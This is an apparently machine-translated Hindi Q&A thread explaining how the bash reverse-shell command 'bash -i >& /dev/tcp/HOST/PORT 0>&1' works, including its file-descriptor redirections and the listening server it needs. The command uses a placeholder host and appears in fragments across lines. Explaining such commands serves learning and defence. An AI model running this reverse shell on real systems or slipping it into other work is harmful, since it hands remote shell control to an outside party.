जवाबों:
यह स्निपेट bash -i
बश प्रक्रिया की अवधि के लिए बनाए गए निर्दिष्ट होस्ट पर निर्दिष्ट पोर्ट पर एक टीसीपी कनेक्शन पर, बैश ( ) का एक नया इंटरएक्टिव उदाहरण चलाता है । मानक कनेक्शन और मानक त्रुटि को इस कनेक्शन ( >& /dev/tcp/HOST/PORT
) के माध्यम से भेजा जाता है , और मानक इनपुट को इस कनेक्शन के माध्यम से पढ़ा जाता है ( 0>&1
- यह होना चाहिए 0<&1
लेकिन यह 0>&1
भी काम करता है)।
कोई पोर्ट अग्रेषण नहीं चल रहा है। जाहिर है, किसी प्रकार के एक टीसीपी सर्वर को उस HOST: PORT पर कनेक्शन को सुनना और स्वीकार करना होगा, और फ़ायरवॉल को कनेक्शन के माध्यम से जाने देना होगा।
/dev/tcp/HOST/PORT
? मैंने मान लिया कि आपने एक नाम HOST
और एक संख्या को बदल दिया है PORT
। अन्यथा आपको बैश से एक त्रुटि संदेश मिलेगा। चूंकि आपने किसी त्रुटि संदेश का उल्लेख नहीं किया है, इसलिए मैं मानता हूं कि आपने एक नहीं देखा।
0<&1
हिस्से को पचा नहीं सकता । मैंने इसे 'बैश स्टैडआउट ( &1
) के रूप में पढ़ा और इसे बैश स्टैडिन ( 0
)' में पाइप किया , जो समझ में आता है। क्या आप बता सकते हैं कि यह हिस्सा कैसे काम करता है?
0<&1
का मतलब है कि जो कुछ भी वर्तमान में फाइल डिस्क्रिप्टर 1 पर फाइल डिस्क्रिप्टर से >& /dev/tcp/HOST/PORT
जुड़ा हुआ है , उसे 0. कनेक्ट करें । चूंकि पिछला रीडायरेक्शन जुड़ा हुआ है fd 1 (आउटपुट रिडायरेक्शन के लिए डिफ़ॉल्ट) /dev/tcp/HOST/PORT
, यानी टीसीपी सॉकेट खोला गया है, यह टीसीपी कनेक्शन को डिस्क्रिप्टर 0 (यानी ) दर्ज करने के लिए डुप्लिकेट करता है। वही सॉकेट अब fd 0 पर भी खुला है, यह 0 </ dev / tcp / HOST / PORT से भिन्न है जो एक ही सर्वर पर एक अलग सॉकेट खोल देगा)।